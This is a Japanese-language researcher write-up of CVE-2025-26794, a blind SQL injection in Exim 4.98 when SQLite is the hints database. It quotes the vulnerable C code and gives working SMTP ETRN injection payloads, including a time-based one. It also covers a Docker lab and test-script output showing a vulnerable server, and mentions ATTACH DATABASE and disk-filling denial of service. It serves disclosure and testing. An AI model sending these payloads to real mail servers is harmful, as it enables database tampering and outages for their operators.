
CVE-2025-26794: Exim 4.98 (SQLite DBM) におけるブラインドSQLインジェクション - エクスプロイト解説
Exim レポート: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
この脆弱性は手動コードレビューにより発見しました。
SQLite を DBM として使用する場合、SQL パラメータが適切にサニタイズされません。このため、リモートユーザーがカスタム SQLite クエリを作成できる可能性があります。
Exim は内部キー・バリューストレージ (HintsDB と呼ばれる) のために内部データベースを使用しており、ビルド時に設定可能なさまざまなバックエンドをサポートしています。最新の追加は SQLite です。 以下の格納に使用されます:
enq_start() による)影響を受けるファイルは hintsdb.h です。最新のコミットでは別のファイル (hints_sqlite.h) に移動されました。影響を受けるのは SQLite 関数のみです (例: exim_s_dbp)。
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
入力キーは適切にエスケープされていません。したがって、キーを制御できれば、任意の SQLite コードを注入できます。
RFC1985 は SMTP ETRN コマンドを定義しており、「クライアントはサーバーに対し、サーバー上でクライアントマシン宛に待機しているメッセージのメールキューの処理を開始するよう要求できる」とされています。
これは SMTP コマンド ETRN #domain.com で使用されます。
Exim では、ETRN コマンドは HintsDB 内にセマフォを設定し、複数の ETRN コマンドが並行して実行されるのを防ぎます。
このセマフォは enq_start(keyname, value) 関数によって実装され、"misc" データベースに新しいエントリを作成します。
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
例えば、SMTP コマンド ETRN #test.com は、SQLite の "misc" データベースにキー "etrn-#test.com"、値 1 の一時的な DB エントリを作成します。
ETRN コマンド処理の最後に、DB エントリは削除されます:
enq_end(etrn_serialize_key);
キーを制御できるため、以下の SMTP コマンドで独自の SQL コードを注入できます:
ETRN #',1); ## INSERT SQL HERE ## /*
出力がないため、時間ベースの SQLi ペイロードを送信してこの脆弱性をリモートでテストできます:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE を使用して、Exim ユーザーがアクセスできる他のローカル SQLite データベースに接続できました。おそらく、使用されている他のデータベースを操作することで、Exim の競合状態を悪用して未定義の動作を引き起こすことができるかもしれません。現時点ではまだ非常に仮定的です。ETRN コマンドを有効にすることはかなり稀で、かなり古いと思われます。コード内でユーザー入力がクエリ文字列の構築に使用されている他の箇所は見つかりませんでした。つまり、簡単に DoS (例: ディスクを埋める) 可能ですが、これをリモートコード実行に昇格させるにはさらなる作業が必要ですが、可能性はあります。
この脆弱性を再現するためのローカル Docker ラボを以下に示します。
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh でビルドし、コンテナにログインしますbash start-exim.sh を実行して Exim サーバーを起動しますnc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorこの脆弱性をリモートでテストするためのスクリプト test.py を作成しました。
python3 docker_lab/test.py <host>
例:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! 脆弱